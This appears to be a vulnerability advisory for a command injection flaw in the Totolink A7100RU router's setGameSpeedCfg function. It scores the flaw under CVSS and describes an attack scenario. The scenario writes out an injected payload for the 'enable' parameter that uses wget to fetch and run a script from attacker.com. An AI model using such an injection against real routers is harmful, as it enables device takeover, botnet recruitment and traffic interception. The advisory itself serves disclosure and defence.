A7100Ru EUVD-2026-19557

This represents a high-severity risk requiring immediate attention. The CVSS v3.1 base score of 7.3 reflects significant impact across confidentiality, integrity, and availability (C:L/I:L/A:L), though the unauthenticated network attack vector (AV:N/AC:L/PR:N/UI:N) makes exploitation trivial for remote adversaries. The CVSS Exploit Maturity indicator shows E:P (Proof-of-concept exists), confirmed by the public GitHub repository containing working exploit code. No CISA KEV listing indicates confirmed active exploitation has not been reported to CISA, but the combination of unauthenticated remote access, low attack complexity, and publicly available exploit code creates immediate weaponization potential. Consumer routers like the A7100RU frequently remain unpatched in home and small business environments, and command injection vulnerabilities enable complete device compromise for botnet recruitment, traffic interception, or pivot points into internal networks. The temporal vector RL:X indicates no official remediation information was available at initial assessment. Real-world risk is elevated due to the exploit availability and target device class, despite moderate CVSS impact ratings.

An unauthenticated attacker on the internet scans for Totolink A7100RU routers exposing their web interface on public IP addresses, identifying vulnerable devices by fingerprinting the /cgi-bin/cstecgi.cgi endpoint. Using the publicly available GitHub proof-of-concept exploit code, the attacker crafts an HTTP request to the setGameSpeedCfg function with a malicious 'enable' parameter containing shell metacharacters and commands, such as '; wget http://attacker.com/malware.sh -O /tmp/bot && sh /tmp/bot;'. The router executes these injected commands with root privileges, downloading and running a cryptocurrency mining bot or DDoS malware that recruits the device into a botnet. The compromised router can then be used to intercept DNS queries, redirect traffic to phishing sites, or serve as a persistent foothold for attacking devices on the victim's internal network, all while appearing as legitimate router traffic.